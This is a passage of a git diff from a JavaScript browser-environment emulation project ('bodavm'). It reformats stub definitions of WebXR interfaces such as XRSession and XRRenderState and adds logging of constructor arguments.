"transform_get", arguments)}, set:undefined},'prototype'); +// XRReferenceSpaceEvent对象 + +bodavm.memory.globalobj['XRReferenceSpaceEvent'] = function XRReferenceSpaceEvent() { + console.log_copy('XRReferenceSpaceEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRReferenceSpaceEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'XRReferenceSpaceEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRReferenceSpaceEvent'], "XRReferenceSpaceEvent"); +bodavm.memory.globalobj['XRReferenceSpaceEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['XRReferenceSpaceEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('XRReferenceSpaceEvent', "referenceSpace", { + configurable: true, + enumerable: true, + get: function referenceSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRReferenceSpaceEvent'].prototype, "XRReferenceSpaceEvent", "referenceSpace_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRReferenceSpaceEvent', "transform", { + configurable: true, + enumerable: true, + get: function transform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRReferenceSpaceEvent'].prototype, "XRReferenceSpaceEvent", "transform_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRRenderState.js b/env_xbb_lastest_jsdom/env/XRRenderState.js index 19156930..6de77d3c 100644 --- a/env_xbb_lastest_jsdom/env/XRRenderState.js +++ b/env_xbb_lastest_jsdom/env/XRRenderState.js @@ -1,7 +1,49 @@ -// XRRenderState对象 -bodavm.memory.globalobj['XRRenderState'] = function XRRenderState(){if (!(this instanceof XRRenderState)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRRenderState'], "XRRenderState"); -bodavm.toolsFunc.defineProperty('XRRenderState', "depthNear", {configurable:true, enumerable:true, get:function depthNear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRenderState'].prototype, "XRRenderState", "depthNear_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRRenderState', "depthFar", {configurable:true, enumerable:true, get:function depthFar (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRenderState'].prototype, "XRRenderState", "depthFar_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRRenderState', "inlineVerticalFieldOfView", {configurable:true, enumerable:true, get:function inlineVerticalFieldOfView (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRenderState'].prototype, "XRRenderState", "inlineVerticalFieldOfView_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRRenderState', "baseLayer", {configurable:true, enumerable:true, get:function baseLayer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRenderState'].prototype, "XRRenderState", "baseLayer_get", arguments)}, set:undefined},'prototype'); +// XRRenderState对象 + +bodavm.memory.globalobj['XRRenderState'] = function XRRenderState() { + console.log_copy('XRRenderState 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRRenderState)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRRenderState'], "XRRenderState"); +bodavm.toolsFunc.defineProperty('XRRenderState', "depthNear", { + configurable: true, + enumerable: true, + get: function depthNear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRenderState'].prototype, "XRRenderState", "depthNear_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRRenderState', "depthFar", { + configurable: true, + enumerable: true, + get: function depthFar() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRenderState'].prototype, "XRRenderState", "depthFar_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRRenderState', "inlineVerticalFieldOfView", { + configurable: true, + enumerable: true, + get: function inlineVerticalFieldOfView() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRenderState'].prototype, "XRRenderState", "inlineVerticalFieldOfView_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRRenderState', "baseLayer", { + configurable: true, + enumerable: true, + get: function baseLayer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRenderState'].prototype, "XRRenderState", "baseLayer_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRRigidTransform.js b/env_xbb_lastest_jsdom/env/XRRigidTransform.js index c7553d97..66a152fb 100644 --- a/env_xbb_lastest_jsdom/env/XRRigidTransform.js +++ b/env_xbb_lastest_jsdom/env/XRRigidTransform.js @@ -1,7 +1,46 @@ -// XRRigidTransform对象 -bodavm.memory.globalobj['XRRigidTransform'] = function XRRigidTransform(){this._boarg= new bodaobj.window.XRRigidTransform();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRRigidTransform'], "XRRigidTransform"); -bodavm.toolsFunc.defineProperty('XRRigidTransform', "position", {configurable:true, enumerable:true, get:function position (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRigidTransform'].prototype, "XRRigidTransform", "position_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRRigidTransform', "orientation", {configurable:true, enumerable:true, get:function orientation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRigidTransform'].prototype, "XRRigidTransform", "orientation_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRRigidTransform', "matrix", {configurable:true, enumerable:true, get:function matrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRigidTransform'].prototype, "XRRigidTransform", "matrix_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRRigidTransform', "inverse", {configurable:true, enumerable:true, get:function inverse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRigidTransform'].prototype, "XRRigidTransform", "inverse_get", arguments)}, set:undefined},'prototype'); +// XRRigidTransform对象 + +bodavm.memory.globalobj['XRRigidTransform'] = function XRRigidTransform() { + console.log_copy('XRRigidTransform 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.XRRigidTransform(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRRigidTransform'], "XRRigidTransform"); +bodavm.toolsFunc.defineProperty('XRRigidTransform', "position", { + configurable: true, + enumerable: true, + get: function position() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRigidTransform'].prototype, "XRRigidTransform", "position_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRRigidTransform', "orientation", { + configurable: true, + enumerable: true, + get: function orientation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRigidTransform'].prototype, "XRRigidTransform", "orientation_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRRigidTransform', "matrix", { + configurable: true, + enumerable: true, + get: function matrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRigidTransform'].prototype, "XRRigidTransform", "matrix_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRRigidTransform', "inverse", { + configurable: true, + enumerable: true, + get: function inverse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRRigidTransform'].prototype, "XRRigidTransform", "inverse_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRSession.js b/env_xbb_lastest_jsdom/env/XRSession.js index 40636e7a..1a104a78 100644 --- a/env_xbb_lastest_jsdom/env/XRSession.js +++ b/env_xbb_lastest_jsdom/env/XRSession.js @@ -1,32 +1,253 @@ -// XRSession对象 -bodavm.memory.globalobj['XRSession'] = function XRSession(){if (!(this instanceof XRSession)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRSession'], "XRSession"); -bodavm.memory.globalobj['XRSession'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['XRSession'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('XRSession', "environmentBlendMode", {configurable:true, enumerable:true, get:function environmentBlendMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "environmentBlendMode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "interactionMode", {configurable:true, enumerable:true, get:function interactionMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "interactionMode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "visibilityState", {configurable:true, enumerable:true, get:function visibilityState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "visibilityState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "renderState", {configurable:true, enumerable:true, get:function renderState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "renderState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "inputSources", {configurable:true, enumerable:true, get:function inputSources (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "inputSources_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "domOverlayState", {configurable:true, enumerable:true, get:function domOverlayState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "domOverlayState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "preferredReflectionFormat", {configurable:true, enumerable:true, get:function preferredReflectionFormat (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "preferredReflectionFormat_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "enabledFeatures", {configurable:true, enumerable:true, get:function enabledFeatures (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "enabledFeatures_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "onend", {configurable:true, enumerable:true, get:function onend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onend_get", arguments)}, set:function onend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "onselect", {configurable:true, enumerable:true, get:function onselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onselect_get", arguments)}, set:function onselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onselect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "oninputsourceschange", {configurable:true, enumerable:true, get:function oninputsourceschange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "oninputsourceschange_get", arguments)}, set:function oninputsourceschange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "oninputsourceschange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "onselectstart", {configurable:true, enumerable:true, get:function onselectstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onselectstart_get", arguments)}, set:function onselectstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onselectstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "onselectend", {configurable:true, enumerable:true, get:function onselectend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onselectend_get", arguments)}, set:function onselectend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onselectend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "onvisibilitychange", {configurable:true, enumerable:true, get:function onvisibilitychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onvisibilitychange_get", arguments)}, set:function onvisibilitychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onvisibilitychange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "onsqueeze", {configurable:true, enumerable:true, get:function onsqueeze (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onsqueeze_get", arguments)}, set:function onsqueeze (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onsqueeze_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "onsqueezestart", {configurable:true, enumerable:true, get:function onsqueezestart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onsqueezestart_get", arguments)}, set:function onsqueezestart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onsqueezestart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "onsqueezeend", {configurable:true, enumerable:true, get:function onsqueezeend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onsqueezeend_get", arguments)}, set:function onsqueezeend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onsqueezeend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "depthUsage", {configurable:true, enumerable:true, get:function depthUsage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "depthUsage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "depthDataFormat", {configurable:true, enumerable:true, get:function depthDataFormat (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "depthDataFormat_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "cancelAnimationFrame", {configurable:true, enumerable:true, writable:true, value:function cancelAnimationFrame (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "cancelAnimationFrame", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "end", {configurable:true, enumerable:true, writable:true, value:function end (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "end", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "requestAnimationFrame", {configurable:true, enumerable:true, writable:true, value:function requestAnimationFrame (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "requestAnimationFrame", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "requestHitTestSource", {configurable:true, enumerable:true, writable:true, value:function requestHitTestSource (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "requestHitTestSource", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "requestHitTestSourceForTransientInput", {configurable:true, enumerable:true, writable:true, value:function requestHitTestSourceForTransientInput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "requestHitTestSourceForTransientInput", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "requestLightProbe", {configurable:true, enumerable:true, writable:true, value:function requestLightProbe (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "requestLightProbe", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "requestReferenceSpace", {configurable:true, enumerable:true, writable:true, value:function requestReferenceSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "requestReferenceSpace", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSession', "updateRenderState", {configurable:true, enumerable:true, writable:true, value:function updateRenderState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "updateRenderState", arguments)}},'prototype'); +// XRSession对象 + +bodavm.memory.globalobj['XRSession'] = function XRSession() { + console.log_copy('XRSession 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRSession)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRSession'], "XRSession"); +bodavm.memory.globalobj['XRSession'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['XRSession'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('XRSession', "environmentBlendMode", { + configurable: true, + enumerable: true, + get: function environmentBlendMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "environmentBlendMode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "interactionMode", { + configurable: true, + enumerable: true, + get: function interactionMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "interactionMode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "visibilityState", { + configurable: true, + enumerable: true, + get: function visibilityState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "visibilityState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "renderState", { + configurable: true, + enumerable: true, + get: function renderState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "renderState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "inputSources", { + configurable: true, + enumerable: true, + get: function inputSources() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "inputSources_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "domOverlayState", { + configurable: true, + enumerable: true, + get: function domOverlayState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "domOverlayState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "preferredReflectionFormat", { + configurable: true, + enumerable: true, + get: function preferredReflectionFormat() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "preferredReflectionFormat_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "enabledFeatures", { + configurable: true, + enumerable: true, + get: function enabledFeatures() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "enabledFeatures_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "onend", { + configurable: true, + enumerable: true, + get: function onend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onend_get", arguments); + }, + set: function onend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "onselect", { + configurable: true, + enumerable: true, + get: function onselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onselect_get", arguments); + }, + set: function onselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onselect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "oninputsourceschange", { + configurable: true, + enumerable: true, + get: function oninputsourceschange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "oninputsourceschange_get", arguments); + }, + set: function oninputsourceschange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "oninputsourceschange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "onselectstart", { + configurable: true, + enumerable: true, + get: function onselectstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onselectstart_get", arguments); + }, + set: function onselectstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onselectstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "onselectend", { + configurable: true, + enumerable: true, + get: function onselectend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onselectend_get", arguments); + }, + set: function onselectend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onselectend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "onvisibilitychange", { + configurable: true, + enumerable: true, + get: function onvisibilitychange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onvisibilitychange_get", arguments); + }, + set: function onvisibilitychange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onvisibilitychange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "onsqueeze", { + configurable: true, + enumerable: true, + get: function onsqueeze() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onsqueeze_get", arguments); + }, + set: function onsqueeze() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onsqueeze_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "onsqueezestart", { + configurable: true, + enumerable: true, + get: function onsqueezestart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onsqueezestart_get", arguments); + }, + set: function onsqueezestart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onsqueezestart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "onsqueezeend", { + configurable: true, + enumerable: true, + get: function onsqueezeend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onsqueezeend_get", arguments); + }, + set: function onsqueezeend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "onsqueezeend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "depthUsage", { + configurable: true, + enumerable: true, + get: function depthUsage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "depthUsage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "depthDataFormat", { + configurable: true, + enumerable: true, + get: function depthDataFormat() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "depthDataFormat_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "cancelAnimationFrame", { + configurable: true, + enumerable: true, + writable: true, + value: function cancelAnimationFrame() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "cancelAnimationFrame", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "end", { + configurable: true, + enumerable: true, + writable: true, + value: function end() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "end", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "requestAnimationFrame", { + configurable: true, + enumerable: true, + writable: true, + value: function requestAnimationFrame() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "requestAnimationFrame", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "requestHitTestSource", { + configurable: true, + enumerable: true, + writable: true, + value: function requestHitTestSource() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "requestHitTestSource", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "requestHitTestSourceForTransientInput", { + configurable: true, + enumerable: true, + writable: true, + value: function requestHitTestSourceForTransientInput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "requestHitTestSourceForTransientInput", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "requestLightProbe", { + configurable: true, + enumerable: true, + writable: true, + value: function requestLightProbe() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "requestLightProbe", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "requestReferenceSpace", { + configurable: true, + enumerable: true, + writable: true, + value: function requestReferenceSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "requestReferenceSpace", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSession', "updateRenderState", { + configurable: true, + enumerable: true, + writable: true, + value: function updateRenderState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSession'].prototype, "XRSession", "updateRenderState", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRSessionEvent.js b/env_xbb_lastest_jsdom/env/XRSessionEvent.js index a1e6a95d..fd2263c6 100644 --- a/env_xbb_lastest_jsdom/env/XRSessionEvent.js +++ b/env_xbb_lastest_jsdom/env/XRSessionEvent.js @@ -1,6 +1,27 @@ -// XRSessionEvent对象 -bodavm.memory.globalobj['XRSessionEvent'] = function XRSessionEvent(){if (!(this instanceof XRSessionEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'XRSessionEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRSessionEvent'], "XRSessionEvent"); -bodavm.memory.globalobj['XRSessionEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['XRSessionEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('XRSessionEvent', "session", {configurable:true, enumerable:true, get:function session (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSessionEvent'].prototype, "XRSessionEvent", "session_get", arguments)}, set:undefined},'prototype'); +// XRSessionEvent对象 + +bodavm.memory.globalobj['XRSessionEvent'] = function XRSessionEvent() { + console.log_copy('XRSessionEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRSessionEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'XRSessionEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRSessionEvent'], "XRSessionEvent"); +bodavm.memory.globalobj['XRSessionEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['XRSessionEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('XRSessionEvent', "session", { + configurable: true, + enumerable: true, + get: function session() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSessionEvent'].prototype, "XRSessionEvent", "session_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRSpace.js b/env_xbb_lastest_jsdom/env/XRSpace.js index e1a2de8b..3ac05560 100644 --- a/env_xbb_lastest_jsdom/env/XRSpace.js +++ b/env_xbb_lastest_jsdom/env/XRSpace.js @@ -1,10 +1,19 @@ // XRSpace对象 -bodavm.memory.globalobj['XRSpace'] = function XRSpace(){if 